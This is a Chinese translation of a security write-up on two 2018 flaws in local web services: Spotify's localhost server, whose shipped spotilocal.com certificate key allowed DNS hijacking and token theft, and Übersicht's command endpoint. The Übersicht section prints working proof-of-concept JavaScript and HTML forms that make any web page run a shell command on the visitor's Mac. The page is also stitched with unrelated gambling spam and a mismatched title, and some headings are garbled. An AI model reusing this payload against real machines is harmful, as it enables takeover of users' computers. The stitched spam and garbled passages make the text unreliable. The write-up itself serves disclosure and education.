Bet365Übersicht的远程命令执行漏洞和能接管Spotify的漏洞--关于本地web服务的安全_-上海旅游

Bet365是世界领先的线上娱乐在线之一

翻译自:https://medium.com/@Zemnmez/übersicht-remote-code-execution-spotify-takeover-a5f6fd6809d0
翻译:聂心明

  1. 所有的Spotify音乐软件,所有的舞蹈音乐软件后门
  2. Übersicht的远程命令执行漏洞
  3. 总结

无论何时提到安全,我都希望有机会去讨论关于应用安全的建设:网络的边界是非常有用的,但是在2018年发生了一些事情,这些事情对如何设计app产生了很严重的影响。

这场不幸事件的主角是übersicht,一个与Windows的 Rainmeter类似的MacOS上的小部件(所有人都记得2007年电脑桌面上放的那些东西吧?)
Übersicht就像其他的应用一样,本质上都是一个web浏览器还有一个运行在特殊权限上的web app。其中一个特殊的权限就是在你的电脑上运行指令。webapp的小部件启动的本地网站只能允许本地用户访问。抱歉,这篇文章的主题应该是Spotify,所以我现在开始讨论它。

Spotify的所有音乐软件,所有的音乐舞蹈软件都被植入后门

这看起来是一个十分普通的应用,像übersicht运行的web服务程序只有本地的system权限的程序可以访问--Spotify,Steam还有其他的一个程序。

通常情况下,这些web服务器提供的网站提供web服务无法访问的功能。Spotify,运行在本地的服务器允许像推特这样的网站把他们的小部件嵌入其中,当你点击播放音乐的按钮时,就会发送一个消息给你的电脑。这很古怪,对吧?甚至当你关闭播放的标签页时,音乐还会播放。

让我们快速解刨这个程序,看看它是怎么工作的吧。让我们来证明一个有趣的概念吧,让我们回到2016年八月,如果你不打开Spotify,你就无法关闭摇滚乐。

现在我们有了一个黑色背景的按钮,如果你点击它,它会让你的Spotify账户播放Rick Astley类型的音乐,只要是被支持的设备,都会播放音乐(甚至是同一局域网下的攻击者也可以办到这一切)。
现在已经修复了

想想这是什么?当你把鼠标移到这个表情上时,它会显示‘play’

如果我在我伪造的页面上插入这个元素,那么马上就会暴露。那么我就嵌一个框架进去,并把这个框架的不透明度设置成0.05,这样的话,就只有我们能看到它了。让我们来试试

好了,我看到这个播放的按钮了,但是,其他的东西在哪里?我们再来一次吧。我很聪明的使用了标签元素,然后把边缘剪切一下,同时嵌入Spotify player播放器。让我们把这些再反转一下。

好了,现在我们得到了这个页面,透过屏幕我们都能感受到这个男人阴郁的情绪。但是真正的问题来了,我们要如何才能给Spotify发送命令?

我很乐意像你展示它是怎样工作的,但是这个软件已经修复了这个漏洞,所以你只能听我说了。这个播放器会带着认证token给spotilocal.com会发送一个神秘请求,这个请求会说:”请给我播放Rick Astley“,Spotilocal.com 现在已经不存在了,但是请注意2014年的这篇文章 https://medium.com/@bengreenier/hijacking-spotify-web-control-5014b0a1a360 它实际上会被指向127.0.0.1,这个ip地址会回复”谁在问“

但是作为一个安全工程师我会想到一些额外的事情,如果Twitter.com给spotilocal.com发送一段请求而不会触发mixed-content 警告,这就意味着我和spotilocal.com之间的连接必须是被加密的。但是,这是怎样做到的?一段从从自己到自己的加密传输?叫我Alice,牵起我的手,来让我们跳进这个兔子洞去。

你准备好了吗?深呼吸。每一个网站通过密钥来加密数据。仅仅spotify.com知道spotify的密钥,所以仅仅spotify.com 能够加密数据。明白了吗?Spotify

难以置信的是它们在安全上耍了一个小花招,Spotify实际上给每一个单独的用户都分配了所有的密钥,这些密钥允许他们证明自己是spotilocal.com。我是怎么知道这个事情的?我逆向了Spotify程序,后面我将会提到,我将会给Spotify安全团队一个恶作剧--已经发布在推特上了!


把域名下私钥给每一个人,这很愚蠢吗?我想是的,我仔细想了想,然后我把这问题报给了Spotify.com的安全团队。过了很久以后,我才把这个证书放在网上。
我把曾经告诉Spotify安全团队的事情现在告诉你们,亲爱的读者朋友:DNS是不可信的。

首先,为什么我们会有证书呢?很大一部分原因是dns是未加密的。正确的Spotify dns服务器会拼命告诉你spotilocal.com是127.0.0.1,而中间人则会告诉你spotilocal.com是其他的地址。只要你访问到了这个网站,这个网站可能会窃取你的信用卡信息和身份信息。

这个事情其实每时每刻都在发生,并且在你身上也发生过。当你在有网的咖啡店,或者星巴克,或者坐飞机去旧金山或者无论你做什么,只要你连接上WiFi,它们就会劫持你的dns,并且告诉你的电脑,你无论访问什么网站都要先去访问它们的WiFi登录页面。Captive Portal是一种可怕的黑色咒语。

”为什么这不是一个巨大的问题?“,我一直苦苦思考这个问题,甚至整晚整晚睡不好。这可能有两个原因。如果网站的传输数据被加密,即使你发送请求之后的返回报文是来自google.com的,你也无法验证这个返回报文是不是真的来自于google.com

这个问题被 HSTS所解决,这基本意味着,当你加载google.com的时候,它会说:”好的,我在这里,我是谷歌,不要让任何不安全的连接假扮成我,你听见了吗?“

如果你不是一个安全怪胎,那我就在你的脑中放入更多的安全思维吧:每一个人都会成为一个”免费的星巴克WiFi“。不用控制任何东西。当你的手机或者电脑连接过星巴克的时,如果你断开了连接,那么这些设备就会自动的寻找‘Free Starbucks Wi-Fi’的WiFi。

所以,让我假设一个场景,我带着无线安全工具WiFi Pineapple® 在星巴克里面坐一天。我会告诉星巴克里面的所有人,我就是星巴克的WiFi,请连接我,我觉得他们不会很聪明。然后我就可以看到未加密的流量数据了。

从上面的步骤来看,我可以用这种的方式去接管在星巴克喝咖啡人Facebook账户,并且其他人也会支持 Firesheep 软件的概念,通过让人们不断的意识到未加密的网络连接简直是垃圾,就可以改变世界。

在2018年,不再有那么多的网络连接是未加密的了,我没有找到很充足的数据来说明这一点,但是想想这个,大多数人使用的google, facebook, apple, twitter, instagram, snapchat。全互联网上几乎百分之一的用户在用着最好的通信加密方式。我没有统计这些,但你只能相信我。
不要怀疑啦,我们有一些数据的:

总之,我没有得到我真正想要的东西。无论DEFCON的观众怎么想,没有人会任性到用能绕过所有安全设备且价值上百万的0day去攻击你。我知道我想参加下一届的DEFCON,但是请考虑一下那些年轻的孩子们。

我希望你没有被我跟踪,因为你们是否还记得我还存着spotilocal.com的证书,所以我能看到所有被发出去的信息。’但是spotilocal.com指向的地址是127.0.01,那是我自己的电脑!它不会跑到外网上去!‘,你的声音像一个不合时宜的小提琴一样发出呜咽的声音,哦亲爱的孩子。

当你的电脑考虑要从spotilocal.com加载信息的之前,它会向互联网发出一个dns请求,去查询spotilocal.com在哪里。而我,只要用了WiFi Pineapple,那么我就可以劫持dns查询。我们就可以发送任何想发送的数据包,然后我就会发送‘你知道spotilocal.com是谁吗?是我’

现在我们可以捕捉到每一个路人的流量了,只要它是Spotify的用户,并且发送数据包给spotilocal.com,我们就可以解码它们的请求内容,这就意味着我们可以拿到这些人的Spotify OAuth token。现在我不知道Spotify OAuth token能够访问什么东西。这真的是太糟糕了,我不知道,我从来没有想过这些。但是我知道它可以做一些事情,比如在用户系统里面播放音乐

让我们快速跳到这一步,来讨论一下这个密钥和能用这个密钥干点啥。可以用这个token去访问用户资源和一些功能,在这里我们用这个token来用其他人的电脑播放音乐。

一般情况下,当一个公司给用户产生一个token,这个用户可以用这个token访问任何东西,就像Spotify 一样。因为,我的意思是,为什么Spotify会试图阻止Spotify访问一些东西呢?Spotify数据库中可能会有你的家庭地址,你最喜欢吃的冰激凌。但是不会用这些去证明我拿到了用户权限。所以,我会让那个用户循环播放一首歌。
所以让我们假设通过获取到用户的token,我们不仅仅拿到了用户账户的完整权限,我们还想在Spotify客户端上播放音乐。我们要怎么做呢?服务器在其他人的电脑上。

实际上,我已经不需要dns劫持了,我们只要把一个播放按钮放入到网页中,然后让受害者去点击,受害者点击之后,就会发送一条请求到本地的控制服务器中。我们甚至不需要Spotify,因为网站之间的授权已经被搞定了,我就可以用互联网来做这样的事情了(有几个技术问题和复杂的告警需要解决)

Spotify会怎么说呢?这是产品本身的设计,它们没有安全问题。我试图进一步去解释,但是他们已经确认这是产品本身的设计,不是什么漏洞。为了公平起见,我把spotilocal.com的证书放在了网上。现在这个证书已经被移除了,所以我猜这本身不是产品设计所期望的事情

实际上,还需要处理很多事情,我还要努力说服人们相信整件事的重要性。不仅其他人,包括我的朋友,都觉得这个0day很古怪。

II ⧸ Übersicht远程命令执行

首先,让我们知道远程命令执行是什么。从具有远程命令执行漏洞软件的覆盖范围来看,大多数人都不会遇到这样的问题。RCE就是”远程命令执行“:这意味着,可能,我们现在就在控制你的电脑。对于桌面软件来说,这就意味着我可以看到你的浏览器访问记录,你的游戏的最高分数,你的密码,你邮件,你的任何一件东西。我现在控制它了,站在信息安全的角度来说,你,现在属于我了。在这个例子里面,我用一个现在很流行的软件的漏洞来控制你。

无论何时,我在哪里(我都可以通过Übersicht复制黏贴各种符号)
这是一个非常美丽且非常可爱的小部件,就像一个运行在特殊网页上的时钟,这个网页的代码是你自定义的。服务器的地址在 127.0.0.1:41416 。这个ip是127.0.0.1(这就意味着,这是我的电脑),端口是41416(这仅用来识别指定的服务)

插一句:无论何时,127.0.0.1就意味着是‘我‘。确实如此,它指的就是’我‘。还有一个是0.0.0.0,这也是意味着’我‘,不同的是,0.0.0.0 是公共版本的你,你的计算机暴露在网络环境中。如果你的网站绑定在0.0.0.0:80,在网络上每个人都可能访问到你的网站。如果网站被绑定在127.0.0.1,那么就只有你可以访问到它。

我试图在另一方面来论证我的观点,如果你把你的网站绑定在0.0.0.0,你可能会比较紧张,因为与你处于同一个网络环境的每个人都可以看到这样的网站并且可能会向你的服务器发出请求。

当你访问127.0.0.1:41416这个网站时,你可能会在浏览器中看到Übersicht的服务接口。但你第一次这么做的时候,你会觉得非常奇怪。

我写过一些桌面过度程序,我来探索一个简单的例子,它们在这个文件里面,就像这样:

import run from './runShellCommand'; import request from 'superagent'; import styled, {css} from 'react-emotion'; export {run, request, css, styled};

还记得我刚才说的’运行shell命令‘吗?我能在我的电脑上通过运行shell命令来升级我的小组件吗?可以的
等等,我们能用runShellCommand做什么呢?事实证明,并非如此,下面是Übersicht服务器端代码:

const post = require('superagent').post;  function wrapError(err, res) {   return err     ? new Error((res || {}).text || 'error running command')     : null     ; }  module.exports = function runShellCommand(command, callback) {   const request = post('/run/').send(command);   return callback     ? request.end((err, res) => callback(wrapError(err, res), (res || {}).text))     : request       .catch(err => { throw wrapError(err, err.response); })       .then(res => res.text)     ; };

所以,我们只要请求 https://127.0.0.1:41416/run ,并且发送我们想要做任何指令就可以了吗?我们已经知道这一点,但是任何人都能向127.0.0.1发送请求吗?
可以,只要用一点点小的黑客技术,一些JavaScript代码,poc代码是这样的:

const [form, input] = ["form", "input"].map(document.createElement.bind(document)); Object.entries({   method: "POST",   action: "http://127.0.0.1:41416/run/",   enctype: "text/plain" }).forEach(([key, value]) => form.setAttribute(key, value)) Object.entries({   value: "nope",   name: "open /Applications/Calculator.app #" }).forEach(([key, value]) => input.setAttribute(key, value)) document.body.appendChild(form).appendChild(input); form.submit();

首先,我很抱歉的是我用的是ES6 JavaScript,这对于JavaScript程序员来说就像用老式英语跟英国人说话一样

我做了一个简单的html表单,代码就像下面这样,这应该很容易去理解

<form method="POST" action="http://127.0.0.1:41416/run/" enctype="text/plain">    <input value="nope" name="open/Applications/Calculator.app#"> </form>

你看到这些的时候就会想到'哇,真的就可以用这么简单的代码搞定Übersicht’?对的,记得吗?我提到这个网站,这个网站可以通过“几个极其技术性和复杂性的警告”向对方发出请求。这是这些警告的产物

如果你能接受,喝一杯茶,我们继续讲这样的技术

网页能发送请求而不用经过你的同意,这是古老技术的产物。这种技术会一直流传下去

一个web(HTTP)请求是一个非常简单的东西。两个人可以用http请求的方式进行通信,因为HTTP请求发送的其实就是文本数据。

我们只关注'<'或者'>'之后的内容就可以了,这些是发送或者接受到的内容

$ curl -sv 'http://oh.no.ms' | head > GET / HTTP/1.1 > Host: oh.no.ms > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 200 OK < x-amz-id-2: [scrubbed] < x-amz-request-id: [scrubbed] < Date: Sat, 15 Dec 2018 21:37:53 GMT < Last-Modified: Thu, 11 Aug 2016 22:37:02 GMT < ETag: "d8c9ff35acce7d64ff9b6bf9af1faef2" < Content-Type: text/html < Content-Length: 1618 < Server: AmazonS3 < { [1618 bytes data] * Connection #0 to host oh.no.ms left intact <!DOCTYPE HTML>

第一行的内容是是告诉我们‘通过HTTP 1.1给我们一个资源/’。在前面我们看到了‘/run’ ,‘/’会被重定向到‘/run’。我们通过调用‘header’指令来把数据进行格式化,这样我们就可以很方便的寻找到其中有用的信息了。上面的请求还说,我们请求的网站是‘oh.no.ms’,我们可以用'浏览器'发送cURL,之后我们接收到返回数据。

然后web服务器说’ok‘。我有这个,这是格式化好的数据还有最终的返回报文数据。请注意这一点。我们提到了三个部分:请求(头),返回(头),还有返回体(任何东西)

请求报文也会有请求体。实际上,我们像Übersicht发送POST请求时,我们就会有请求体,像这样:

curl 'http://oh.no.ms' -vvs -X POST -d 'param1=cool beans&param2=cooler beans' | h ead * Rebuilt URL to: http://oh.no.ms/ *   Trying 52.218.80.156... * TCP_NODELAY set * Connected to oh.no.ms (52.218.80.156) port 80 (#0) > POST / HTTP/1.1 > Host: oh.no.ms > User-Agent: curl/7.58.0 > Accept: */* > Content-Length: 37 > Content-Type: application/x-www-form-urlencoded > > param1=cool%20beans&param2=cooler%20beans < HTTP/1.1 405 Method Not Allowed < x-amz-request-id: [scrubbed] < x-amz-id-2: [scrubbed] < Allow: GET, HEAD, OPTIONS < Content-Type: text/html; charset=utf-8 < Content-Length: 422 < Date: Sat, 15 Dec 2018 21:46:55 GMT < Server: AmazonS3 <

我通过post发送了两个参数,参数’param1‘的值是‘cool beans’,参数‘param2’的值是 ‘cooler beans’。我们告诉服务器我有请求内容。它的长度是37(字节/ASCII字符),请求体的发送格式是‘application/x-www-form-urlencoded’,这就表明我们的请求体参数是经过url编码之后的数据,例如%20就是空格。

这是一种类型,你可以通过HTML表单的方式去发送这样老式请求,例如可以用下面的代码

<form action="http://oh.no.ms" method="POST">  <input name="param1" value="cool beans">  <input name="param2" value="cooler beans"> </form>

任何网页都可以发送这样的老式请求,当你用JavaScript代码发送请求时,它会被带上额外的保护和能力。其中一个是自定义请求体,这个可以是任何数据。在这个例子中,Übersicht就会用到这样的代码。命令是通过http请求体来发送的。

html表单很难去构造这样的数据包,因为html格式总是通过标准格式发送数据。让我们尝试一下,例如:

<form action="http://127.0.0.1:41416" method="POST">  <input name="run" value="open /Applications/Calculator.app"> </form>

http请求体就像下面这样:

当你发送这样的时候,Übersicht不会有任何反应,因为没有程序会调用‘run=open+%2FApplications%2FCalculator.app’,我们需要其他的方式:

<form method="POST" action="http://127.0.0.1:41416/run/" enctype="text/plain">    <input name="open /Applications/Calculator.app #" value="nope"> </form>

首先,我们指定enctype="text/plain",这表明,我们不希望用url编码,其次,我们把要执行的命令作为‘name’,并以‘#’ 作为结尾。在shell中, ‘#’ 是注释的意思,之后的东西都会被忽略。所以我们发送open /Applications/Calculator.app #=nope

太棒啦,这是有效的shell指令,它打开了计算器

我的意思是,很明显,如果这不是一个poc,我会运行其他的代码

III 总结

几个月之前Übersicht就已经修复这个问题了。怎么修复的?就是验证了请求的来源。这种修复方式这是奇怪。添加这个目的是避免浏览器和本地程序产生数据交换,我们要测试多种方式,并告诉他们这样是不行的。

在传统观念中,我们认为防火墙可以有效的把我们分隔开来,阻止其他人来访问自己。2018年了,这并不是一个孤例。你可能在家用防火墙后面,你的计算机里面也有防火墙,并且你只暴露自己的本地服务,我还有有可能通过远程的方式把你攻陷的。

事实就是如此,每一个web客户端已经成为一个完整的网络工具了,它可以发送各种请求。想想那些小的科技公司,它们可能有一个办公区,员工需要通过登录特定的WiFi去访问特定的服务,例如:payroll,数据库或者其他的系统。

如果你发送一个恶意的网址,或者仅仅构造恶意的请求表单内容,然后发给一个员工,我的web app已被限制访问(包含‘特殊复杂的警告’),目的是为了向所有这些服务发出请求,不仅如此,如果用户的会话保存在cookie中,我就能以这个用户的身份来发出请求。我就会变成他。

但是现在没有这样的限制!听到这些你会害怕没有网络限制的web服务。我能发送请求给任何服务,用任何协议,并且只要不阻塞我发送的http请求,我能执行任何命令。

在2018年,应用安全会变的越来越重要。